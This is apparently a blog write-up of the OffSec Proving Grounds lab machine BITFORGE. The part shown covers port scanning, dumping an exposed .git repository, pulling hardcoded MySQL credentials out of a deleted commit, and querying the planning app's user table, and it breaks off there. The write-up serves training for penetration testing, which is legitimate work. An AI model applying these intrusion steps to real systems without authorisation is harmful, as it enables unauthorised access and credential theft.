Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - BITFORGE

·4120 words·20 mins·
OSCP OFFSEC PG PRACTICE SIMPLE ONLINE PLANNING GIT GIT-DUMPER MYSQL PSPY FLASK
Table of Contents

Summary
#

On port 80 there is a git repository containing a commit with hardcoded credentials which allows us to log into the MySQL database. Also on port 80 we find a web application called Simple Online Planning v1.52.01 for which an authenticated RCE (CVE-2024-27115) exploit exists. Once we find the default credential hash for this application we can update the current hash with the default admin hash in the database. This allows us to run the exploit with the admin:admin credentials and gives initial access. Using pspy64 we find credentials of the jack user and move laterally. The jack user can run a script /usr/bin/flask_password_changer as sudo without a password. Changing the content of the flask application we can escalate our privileges to the root user.

Specifications
#

  • Name: BITFORGE
  • Platform: PG PRACTICE
  • Points: 10
  • Difficulty: Intermediate
  • System overview: Linux BitForge 6.8.0-51-generic #52-Ubuntu SMP PREEMPT_DYNAMIC Thu Dec 5 13:09:44 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.127.186
  • OFFSEC provided credentials: None
  • HASH: local.txt:51d3590f41eea109b3a53cdd451e5b32
  • HASH: proof.txt:767a87ef164e15521fe3b3f12d70bc78

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir bitforge && cd bitforge && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Aug 24 19:44 .
drwxrwxr-x 41 kali kali 4096 Aug 24 19:44 ..
drwxrwxr-x  2 kali kali 4096 Aug 24 19:44 enum
drwxrwxr-x  2 kali kali 4096 Aug 24 19:44 exploits
drwxrwxr-x  2 kali kali 4096 Aug 24 19:44 files
drwxrwxr-x  2 kali kali 4096 Aug 24 19:44 tools
drwxrwxr-x  2 kali kali 4096 Aug 24 19:44 uploads

## set bash variable
ip=192.168.127.186

## ping target to check if it's online
ping $ip

PING 192.168.127.186 (192.168.127.186) 56(84) bytes of data.
64 bytes from 192.168.127.186: icmp_seq=1 ttl=61 time=18.0 ms
64 bytes from 192.168.127.186: icmp_seq=2 ttl=61 time=18.0 ms
^C
--- 192.168.127.186 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 17.956/17.965/17.975/0.009 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Port scanning: Because every port has a story to tell.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.127.186:22
Open 192.168.127.186:80
Open 192.168.127.186:3306
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-24 19:48 CEST
Initiating Ping Scan at 19:48
Scanning 192.168.127.186 [4 ports]
Completed Ping Scan at 19:48, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:48
Completed Parallel DNS resolution of 1 host. at 19:48, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:48
Scanning 192.168.127.186 [3 ports]
Discovered open port 3306/tcp on 192.168.127.186
Discovered open port 22/tcp on 192.168.127.186
Discovered open port 80/tcp on 192.168.127.186
Completed SYN Stealth Scan at 19:48, 0.05s elapsed (3 total ports)
Nmap scan report for 192.168.127.186
Host is up, received echo-reply ttl 61 (0.018s latency).
Scanned at 2025-08-24 19:48:11 CEST for 0s

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 61
80/tcp   open  http    syn-ack ttl 61
3306/tcp open  mysql   syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (160B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp   open  ssh     syn-ack ttl 61
80/tcp   open  http    syn-ack ttl 61
3306/tcp open  mysql   syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,80,3306

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,3306 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGT2bbuknyDQCZL8wcewIxfJHCT3ZA9MHovHm5vV8gnY+WaklYD1KkExYX16RT7Du6kDkOd7/VtgT8wyumO7X74=
|   256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP9T+RtTpSheh2mjfbGIXvNadPVCLuheP1AqmUPx6yic
80/tcp   open  http    syn-ack ttl 61 Apache httpd
| http-git: 
|   192.168.127.186:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: created .env to store the database configuration 
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://bitforge.lab/
3306/tcp open  mysql   syn-ack ttl 61 MySQL 8.0.40-0ubuntu0.24.04.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_8.0.40_Auto_Generated_Server_Certificate
| Issuer: commonName=MySQL_Server_8.0.40_Auto_Generated_CA_Certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-01-15T14:38:11
| Not valid after:  2035-01-13T14:38:11
| MD5:   6ffd:19b3:1593:91e3:ca5f:95c7:4224:8213
| SHA-1: 5a03:d302:2473:ec92:5347:eaca:48cf:80ea:90c3:2a64
| -----BEGIN CERTIFICATE-----
| MIIDBzCCAe+gAwIBAgIBAjANBgkqhkiG9w0BAQsFADA8MTowOAYDVQQDDDFNeVNR
| TF9TZXJ2ZXJfOC4wLjQwX0F1dG9fR2VuZXJhdGVkX0NBX0NlcnRpZmljYXRlMB4X
| DTI1MDExNTE0MzgxMVoXDTM1MDExMzE0MzgxMVowQDE+MDwGA1UEAww1TXlTUUxf
| U2VydmVyXzguMC40MF9BdXRvX0dlbmVyYXRlZF9TZXJ2ZXJfQ2VydGlmaWNhdGUw
| ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vlh6B1Ng3HYyQjYZO7ql
| gL8vHWgPjT+76J32PHVd8Czjw/ajdvZEj7oyxaMKL4vtZ4OLEbv8BqIJSoD8XTMg
| abxKU5rlAjv5YQ69uqXL35Em3JMZSDMi2PJfP6y5hN1B1CmaEz84IlkOXlunXC26
| PSqmnsT7XZBu5tqzEkAtx1jncPEoaC6QM/lT2nYY8CwBVOV28o7VG4t9LdzahPak
| ZUaOS7e2qEQXCv3RzCmmwR2WyJHfMmxIwOamv/y1s9KZwsUDCOO0T2WJt6VKc4aC
| 7BC/9pNLxCfDlsf8b/bP41liOofwtlQDs8+2VkYX9xTDzfcK9qDbEgSCKV9nicK/
| AgMBAAGjEDAOMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggEBAK7Q9X4j
| Wou6+QCXCh+hvKRoOtFjL/IV1r/2uUGnxU43BYCSFOX/jrBHo+nMh8YERb4e3FtZ
| xmjMEjsbypOBk/FftB2Zc7z4rXZuwwexYRmFFE5LamhT8xm7XoTkHrT8VSEroMeD
| cMkxALo3sBsg8CydjVeKF0g3r6O+eRPYQpwelenWr1ZfVEW09yU5BFqmrNKwLye/
| jkgxUphTSuFL7HudjDHXfkstG9k3NCmMQmaleh6/kqVbjQjA6JQ1b7CoF+kXjJux
| va8oXywtNpvaJxf5bSQolR1LlSLx8kcxkJ6VLHJVtr/qBxnL3JwtzBpTzG3Mj/7m
| H2kcLkCMSfA/PHE=
|_-----END CERTIFICATE-----
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.40-0ubuntu0.24.04.1
|   Thread ID: 22
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, Speaks41ProtocolOld, Speaks41ProtocolNew, SupportsTransactions, InteractiveClient, SupportsLoadDataLocal, SwitchToSSLAfterHandshake, IgnoreSigpipes, SupportsCompression, FoundRows, ConnectWithDatabase, ODBCClient, LongPassword, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: 4\x04)\x7F\x1B\x05-+5[k\x0DvhAnJ\x1EH7
|_  Auth Plugin Name: caching_sha2_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

80/tcp   open  http    syn-ack ttl 61 Apache httpd
| http-git: 
|   192.168.127.186:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: created .env to store the database configuration 
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://bitforge.lab/

3306/tcp open  mysql   syn-ack ttl 61 MySQL 8.0.40-0ubuntu0.24.04.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_8.0.40_Auto_Generated_Server_Certificate
| Issuer: commonName=MySQL_Server_8.0.40_Auto_Generated_CA_Certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-01-15T14:38:11
| Not valid after:  2035-01-13T14:38:11
| MD5:   6ffd:19b3:1593:91e3:ca5f:95c7:4224:8213
| SHA-1: 5a03:d302:2473:ec92:5347:eaca:48cf:80ea:90c3:2a64
| -----BEGIN CERTIFICATE-----
| MIIDBzCCAe+gAwIBAgIBAjANBgkqhkiG9w0BAQsFADA8MTowOAYDVQQDDDFNeVNR
| TF9TZXJ2ZXJfOC4wLjQwX0F1dG9fR2VuZXJhdGVkX0NBX0NlcnRpZmljYXRlMB4X
| DTI1MDExNTE0MzgxMVoXDTM1MDExMzE0MzgxMVowQDE+MDwGA1UEAww1TXlTUUxf
| U2VydmVyXzguMC40MF9BdXRvX0dlbmVyYXRlZF9TZXJ2ZXJfQ2VydGlmaWNhdGUw
| ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vlh6B1Ng3HYyQjYZO7ql
| gL8vHWgPjT+76J32PHVd8Czjw/ajdvZEj7oyxaMKL4vtZ4OLEbv8BqIJSoD8XTMg
| abxKU5rlAjv5YQ69uqXL35Em3JMZSDMi2PJfP6y5hN1B1CmaEz84IlkOXlunXC26
| PSqmnsT7XZBu5tqzEkAtx1jncPEoaC6QM/lT2nYY8CwBVOV28o7VG4t9LdzahPak
| ZUaOS7e2qEQXCv3RzCmmwR2WyJHfMmxIwOamv/y1s9KZwsUDCOO0T2WJt6VKc4aC
| 7BC/9pNLxCfDlsf8b/bP41liOofwtlQDs8+2VkYX9xTDzfcK9qDbEgSCKV9nicK/
| AgMBAAGjEDAOMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggEBAK7Q9X4j
| Wou6+QCXCh+hvKRoOtFjL/IV1r/2uUGnxU43BYCSFOX/jrBHo+nMh8YERb4e3FtZ
| xmjMEjsbypOBk/FftB2Zc7z4rXZuwwexYRmFFE5LamhT8xm7XoTkHrT8VSEroMeD
| cMkxALo3sBsg8CydjVeKF0g3r6O+eRPYQpwelenWr1ZfVEW09yU5BFqmrNKwLye/
| jkgxUphTSuFL7HudjDHXfkstG9k3NCmMQmaleh6/kqVbjQjA6JQ1b7CoF+kXjJux
| va8oXywtNpvaJxf5bSQolR1LlSLx8kcxkJ6VLHJVtr/qBxnL3JwtzBpTzG3Mj/7m
| H2kcLkCMSfA/PHE=
|_-----END CERTIFICATE-----
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.40-0ubuntu0.24.04.1
|   Thread ID: 22
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, Speaks41ProtocolOld, Speaks41ProtocolNew, SupportsTransactions, InteractiveClient, SupportsLoadDataLocal, SwitchToSSLAfterHandshake, IgnoreSigpipes, SupportsCompression, FoundRows, ConnectWithDatabase, ODBCClient, LongPassword, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: 4\x04)\x7F\x1B\x05-+5[k\x0DvhAnJ\x1EH7
|_  Auth Plugin Name: caching_sha2_password

In the NMAP output of port 80 we see there is a hostname http://bitforge.lab/ and a Git repository has been found. First add the hostname to /etc/hosts (by editing the file or with this command) and then visit the page in the browser, URL: http://bitforge.lab/.

echo "192.168.127.186 bitforge.lab" | sudo tee -a /etc/hosts

There is a menu item called EMPLOYEE PLANNING PORTAL.

Once we click on it, the site redirects to: http://plan.bitforge.lab/. So we also need to add this to the /etc/hosts file (manually or by this command).

echo "192.168.127.186 plan.bitforge.lab" | sudo tee -a /etc/hosts

Now refresh the page. A login screen is shown with the application name and version: Simple Online Planning v1.52.01.

Searching the internet we can find a authenticated RCE (CVE-2024-27115) however, we don’t have credentials. So let’s switch to the Git NMAP detection. There’s an application called git-dumper (https://github.com/arthaud/git-dumper) which we’re going to clone. Create a Python virtual environment, install the required packages and run the tool to download the .git repository from the target.

## change directory
cd tools

## clone the git-dumper repository
git clone https://github.com/arthaud/git-dumper.git            
Cloning into 'git-dumper'...
remote: Enumerating objects: 204, done.
remote: Counting objects: 100% (104/104), done.
remote: Compressing objects: 100% (46/46), done.
remote: Total 204 (delta 69), reused 60 (delta 58), pack-reused 100 (from 2)
Receiving objects: 100% (204/204), 66.14 KiB | 728.00 KiB/s, done.
Resolving deltas: 100% (106/106), done.

## change directory
cd git-dumper 

## create a python virtual environment, called `venv`, to keep our environment clean
python3 -m venv venv

## activate the virtual environment
source venv/bin/activate

## install the requirements from the `requirements.txt`
pip3 install -r requirements.txt 
Collecting PySocks (from -r requirements.txt (line 1))
  Using cached PySocks-1.7.1-py3-none-any.whl.metadata (13 kB)
Collecting requests (from -r requirements.txt (line 2))
  Downloading requests-2.32.5-py3-none-any.whl.metadata (4.9 kB)
Collecting beautifulsoup4 (from -r requirements.txt (line 3))
  Downloading beautifulsoup4-4.13.5-py3-none-any.whl.metadata (3.8 kB)
Collecting dulwich (from -r requirements.txt (line 4))
  Downloading dulwich-0.24.1-cp313-cp313-manylinux_2_28_x86_64.whl.metadata (5.2 kB)
Collecting requests-pkcs12 (from -r requirements.txt (line 5))
  Using cached requests_pkcs12-1.25-py3-none-any.whl.metadata (3.5 kB)
Collecting charset_normalizer<4,>=2 (from requests->-r requirements.txt (line 2))
  Downloading charset_normalizer-3.4.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (36 kB)
Collecting idna<4,>=2.5 (from requests->-r requirements.txt (line 2))
  Using cached idna-3.10-py3-none-any.whl.metadata (10 kB)
Collecting urllib3<3,>=1.21.1 (from requests->-r requirements.txt (line 2))
  Using cached urllib3-2.5.0-py3-none-any.whl.metadata (6.5 kB)
Collecting certifi>=2017.4.17 (from requests->-r requirements.txt (line 2))
  Downloading certifi-2025.8.3-py3-none-any.whl.metadata (2.4 kB)
Collecting soupsieve>1.2 (from beautifulsoup4->-r requirements.txt (line 3))
  Downloading soupsieve-2.7-py3-none-any.whl.metadata (4.6 kB)
Collecting typing-extensions>=4.0.0 (from beautifulsoup4->-r requirements.txt (line 3))
  Downloading typing_extensions-4.14.1-py3-none-any.whl.metadata (3.0 kB)
Collecting cryptography>=42.0.0 (from requests-pkcs12->-r requirements.txt (line 5))
  Downloading cryptography-45.0.6-cp311-abi3-manylinux_2_34_x86_64.whl.metadata (5.7 kB)
Collecting cffi>=1.14 (from cryptography>=42.0.0->requests-pkcs12->-r requirements.txt (line 5))
  Using cached cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (1.5 kB)
Collecting pycparser (from cffi>=1.14->cryptography>=42.0.0->requests-pkcs12->-r requirements.txt (line 5))
  Using cached pycparser-2.22-py3-none-any.whl.metadata (943 bytes)
Using cached PySocks-1.7.1-py3-none-any.whl (16 kB)
Downloading requests-2.32.5-py3-none-any.whl (64 kB)
Downloading charset_normalizer-3.4.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (151 kB)
Using cached idna-3.10-py3-none-any.whl (70 kB)
Using cached urllib3-2.5.0-py3-none-any.whl (129 kB)
Downloading beautifulsoup4-4.13.5-py3-none-any.whl (105 kB)
Downloading dulwich-0.24.1-cp313-cp313-manylinux_2_28_x86_64.whl (1.2 MB)
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.2/1.2 MB 30.0 MB/s eta 0:00:00
Using cached requests_pkcs12-1.25-py3-none-any.whl (6.1 kB)
Downloading certifi-2025.8.3-py3-none-any.whl (161 kB)
Downloading cryptography-45.0.6-cp311-abi3-manylinux_2_34_x86_64.whl (4.5 MB)
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 4.5/4.5 MB 37.1 MB/s eta 0:00:00
Using cached cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (479 kB)
Downloading soupsieve-2.7-py3-none-any.whl (36 kB)
Downloading typing_extensions-4.14.1-py3-none-any.whl (43 kB)
Using cached pycparser-2.22-py3-none-any.whl (117 kB)
Installing collected packages: urllib3, typing-extensions, soupsieve, PySocks, pycparser, idna, charset_normalizer, certifi, requests, dulwich, cffi, beautifulsoup4, cryptography, requests-pkcs12
Successfully installed PySocks-1.7.1 beautifulsoup4-4.13.5 certifi-2025.8.3 cffi-1.17.1 charset_normalizer-3.4.3 cryptography-45.0.6 dulwich-0.24.1 idna-3.10 pycparser-2.22 requests-2.32.5 requests-pkcs12-1.25 soupsieve-2.7 typing-extensions-4.14.1 urllib3-2.5.0

## make a directory to download to
mkdir git

## run `git-dumper` and dump it in the `git` directory
./git_dumper.py http://192.168.127.186/.git ./git          
[-] Testing http://192.168.127.186/.git/HEAD [200]
[-] Testing http://192.168.127.186/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://192.168.127.186/.gitignore [404]
[-] Fetching http://192.168.127.186/.git/ [200]
[-] http://192.168.127.186/.gitignore responded with status code 404
[-] Fetching http://192.168.127.186/.git/objects/ [200]
[-] Fetching http://192.168.127.186/.git/logs/ [200]
[-] Fetching http://192.168.127.186/.git/COMMIT_EDITMSG [200]
[-] Fetching http://192.168.127.186/.git/branches/ [200]
[-] Fetching http://192.168.127.186/.git/description [200]
[-] Fetching http://192.168.127.186/.git/config [200]
[-] Fetching http://192.168.127.186/.git/hooks/ [200]
[-] Fetching http://192.168.127.186/.git/index [200]
[-] Fetching http://192.168.127.186/.git/HEAD [200]
[-] Fetching http://192.168.127.186/.git/refs/ [200]
[-] Fetching http://192.168.127.186/.git/objects/00/ [200]
[-] Fetching http://192.168.127.186/.git/objects/1c/ [200]
[-] Fetching http://192.168.127.186/.git/objects/18/ [200]
[-] Fetching http://192.168.127.186/.git/objects/30/ [200]
[-] Fetching http://192.168.127.186/.git/objects/73/ [200]
[-] Fetching http://192.168.127.186/.git/objects/c1/ [200]
[-] Fetching http://192.168.127.186/.git/objects/c3/ [200]
[-] Fetching http://192.168.127.186/.git/objects/d7/ [200]
[-] Fetching http://192.168.127.186/.git/objects/e6/ [200]
[-] Fetching http://192.168.127.186/.git/objects/ea/ [200]
[-] Fetching http://192.168.127.186/.git/objects/f4/ [200]
[-] Fetching http://192.168.127.186/.git/objects/info/ [200]
[-] Fetching http://192.168.127.186/.git/objects/pack/ [200]
[-] Fetching http://192.168.127.186/.git/logs/HEAD [200]
[-] Fetching http://192.168.127.186/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://192.168.127.186/.git/logs/refs/ [200]
[-] Fetching http://192.168.127.186/.git/hooks/commit-msg.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/post-update.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/pre-commit.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/pre-push.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/pre-receive.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/update.sample [200]
[-] Fetching http://192.168.127.186/.git/refs/heads/ [200]
[-] Fetching http://192.168.127.186/.git/refs/tags/ [200]
[-] Fetching http://192.168.127.186/.git/objects/1c/e700a508aec3d5e4d4aa1b128a662f2c85f5ad [200]
[-] Fetching http://192.168.127.186/.git/objects/18/833b811e967ab8bec631344a6809aa4af59480 [200]
[-] Fetching http://192.168.127.186/.git/objects/00/e275f0312b12c2cff58aad73d04031fdc81672 [200]
[-] Fetching http://192.168.127.186/.git/objects/30/db4b417dfe5ee173820f8fc66de3955d43080a [200]
[-] Fetching http://192.168.127.186/.git/objects/73/6aa9abed880f8f8f2495c00a497c13f3acc593 [200]
[-] Fetching http://192.168.127.186/.git/objects/c1/d2b964d494b941768e48e5ec662c225fb7de71 [200]
[-] Fetching http://192.168.127.186/.git/objects/c3/4ab8d157d8c6466c8c321034b4d1863941fa38 [200]
[-] Fetching http://192.168.127.186/.git/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391 [200]
[-] Fetching http://192.168.127.186/.git/objects/f4/f6de69896baa2ecbb1084e604be81343833bfa [200]
[-] Fetching http://192.168.127.186/.git/objects/ea/f6c81951775e4202e40762b3300cc936cf4df1 [200]
[-] Fetching http://192.168.127.186/.git/objects/d7/8466e1ab69dbdd943503e192070450b4787be5 [200]
[-] Fetching http://192.168.127.186/.git/logs/refs/heads/ [200]
[-] Fetching http://192.168.127.186/.git/refs/heads/main [200]
[-] Fetching http://192.168.127.186/.git/logs/refs/heads/main [200]
[-] Fetching http://192.168.127.186/.git/info/ [200]
[-] Fetching http://192.168.127.186/.git/info/exclude [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 3 paths from the index

## deactivate the virtual environment
deactivate

## change directory
cd git

## list the content of the `git` directory
ls -la
total 32
drwxrwxr-x 3 kali kali 4096 Aug 24 20:21 .
drwxrwxr-x 6 kali kali 4096 Aug 24 20:21 ..
-rw-rw-r-- 1 kali kali    0 Aug 24 20:21 .env
drwxrwxr-x 7 kali kali 4096 Aug 24 20:21 .git
-rw-rw-r-- 1 kali kali 9110 Aug 24 20:21 index.php
-rw-rw-r-- 1 kali kali 5440 Aug 24 20:21 login.php

Now that we have downloaded the git repository from the target, locally, let’s see if there are interesting commits. There is a commit called: removing db-config due to hard coded credentials with the hash: eaf6c81951775e4202e40762b3300cc936cf4df1. Showing the commit prints a hardcoded credential: BitForgeAdmin:B1tForG3S0ftw4r3S0lutions for the bitforge_customer_db database.

## show commit logs
git log
commit 1ce700a508aec3d5e4d4aa1b128a662f2c85f5ad (HEAD -> main)
Author: McSam Ardayfio <mcsam@bitforge.lab>
Date:   Mon Dec 16 16:44:48 2024 +0000

    created .env to store the database configuration

commit eaf6c81951775e4202e40762b3300cc936cf4df1
Author: McSam Ardayfio <mcsam@bitforge.lab>
Date:   Mon Dec 16 16:44:05 2024 +0000

    removing db-config due to hard coded credentials

commit 18833b811e967ab8bec631344a6809aa4af59480
Author: McSam Ardayfio <mcsam@bitforge.lab>
Date:   Mon Dec 16 16:43:08 2024 +0000

    added the database configuration

commit f4f6de69896baa2ecbb1084e604be81343833bfa
Author: McSam Ardayfio <mcsam@bitforge.lab>
Date:   Mon Dec 16 16:41:54 2024 +0000

    setting up login and index page for the BitForge website

## show the commit for: `eaf6c81951775e4202e40762b3300cc936cf4df1`
git show eaf6c81951775e4202e40762b3300cc936cf4df1
commit eaf6c81951775e4202e40762b3300cc936cf4df1
Author: McSam Ardayfio <mcsam@bitforge.lab>
Date:   Mon Dec 16 16:44:05 2024 +0000

    removing db-config due to hard coded credentials

diff --git a/db-config.php b/db-config.php
deleted file mode 100644
index c1d2b96..0000000
--- a/db-config.php
+++ /dev/null
@@ -1,19 +0,0 @@
-<?php
-// Database configuration
-$dbHost = 'localhost'; // Change if your database is hosted elsewhere
-$dbName = 'bitforge_customer_db';
-$username = 'BitForgeAdmin';
-$password = 'B1tForG3S0ftw4r3S0lutions';
-
-try {
-    $dsn = "mysql:host=$dbHost;dbname=$dbName;charset=utf8mb4";
-    $pdo = new PDO($dsn, $username, $password);
-
-    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
-
-    echo "Connected successfully to the database!";
-} catch (PDOException $e) {
-    echo "Connection failed: " . $e->getMessage();
-}
-?>
-

Let’s try to use these credentials (BitForgeAdmin:B1tForG3S0ftw4r3S0lutions) on port 3306 (MySQL). Use --skip-ssl to ignore the self-signed certificate in certificate chain error. After logging in we find a registered hash for the admin user.

## run `mysql` with the credentials
mysql -u BitForgeAdmin -h $ip -P 3306 -p --skip-ssl
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 85
Server version: 8.0.40-0ubuntu0.24.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 

## list all databases
MySQL [(none)]> show databases;
+----------------------+
| Database             |
+----------------------+
| bitforge_customer_db |
| information_schema   |
| performance_schema   |
| soplanning           |
+----------------------+

## use database `soplanning`
MySQL [bitforge_customer_db]> use soplanning;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

## show all tables in the database
MySQL [soplanning]> show tables;
+----------------------------+
| Tables_in_soplanning       |
+----------------------------+
| planning_audit             |
| planning_config            |
| planning_ferie             |
| planning_groupe            |
| planning_lieu              |
| planning_periode           |
| planning_projet            |
| planning_projet_user_tarif |
| planning_ressource         |
| planning_right_on_user     |
| planning_status            |
| planning_user              |
| planning_user_groupe       |
+----------------------------+
13 rows in set (0.021 sec)

## print details on the `planning_user` table
MySQL [soplanning]> describe planning_user;
+----------------------+--------------------+------+-----+---------+-------+
| Field                | Type               | Null | Key | Default | Extra |
+----------------------+--------------------+------+-----+---------+-------+
| user_id              | varchar(20)        | NO   | PRI |         |       |
| user_groupe_id       | int                | YES  | MUL | NULL    |       |
| nom                  | varchar(50)        | NO   |     |         |       |
| login                | varchar(100)       | YES  |     | NULL    |       |
| password             | varchar(50)        | YES  |     | NULL    |       |
| email                | varchar(255)       | YES  |     | NULL    |       |
| visible_planning     | enum('oui','non')  | NO   |     | oui     |       |
| couleur              | varchar(6)         | YES  |     | NULL    |       |
| droits               | text               | YES  |     | NULL    |       |
| cle                  | varchar(40)        | NO   |     |         |       |
| notifications        | enum('oui','non')  | NO   |     | non     |       |
| adresse              | varchar(255)       | YES  |     | NULL    |       |
| telephone            | varchar(20)        | YES  |     | NULL    |       |
| mobile               | varchar(20)        | YES  |     | NULL    |       |
| metier               | varchar(50)        | YES  |     | NULL    |       |
| commentaire          | varchar(255)       | YES  |     | NULL    |       |
| date_dernier_login   | datetime           | YES  |     | NULL    |       |
| preferences          | text               | YES  |     | NULL    |       |
| login_actif          | enum('oui','non')  | NO   |     | oui     |       |
| google_2fa           | enum('setup','ok') | NO   |     | setup   |       |
| date_creation        | datetime           | YES  |     | NULL    |       |
| date_modif           | datetime           | YES  |     | NULL    |       |
| tutoriel             | varchar(255)       | YES  |     | NULL    |       |
| tarif_horaire_defaut | float              | YES  |     | NULL    |       |
+----------------------+--------------------+------+-----+---------+-------+
24 rows in set (0.020 sec)

## select data from this table for specific columns
MySQL [soplanning]> select user_id,nom,login,password from planning_user;
+-----------+---------------+-------+------------------------------------------+
| user_id   | nom           | login | password                                 |
+-----------+---------------+-------+------------------------------------------+
| ADM       | admin         | admin | 77ba9273d4bcfa9387ae8652377f4c189e5a47ee |
| publicspl | Guest         | NULL  | NULL                                     |
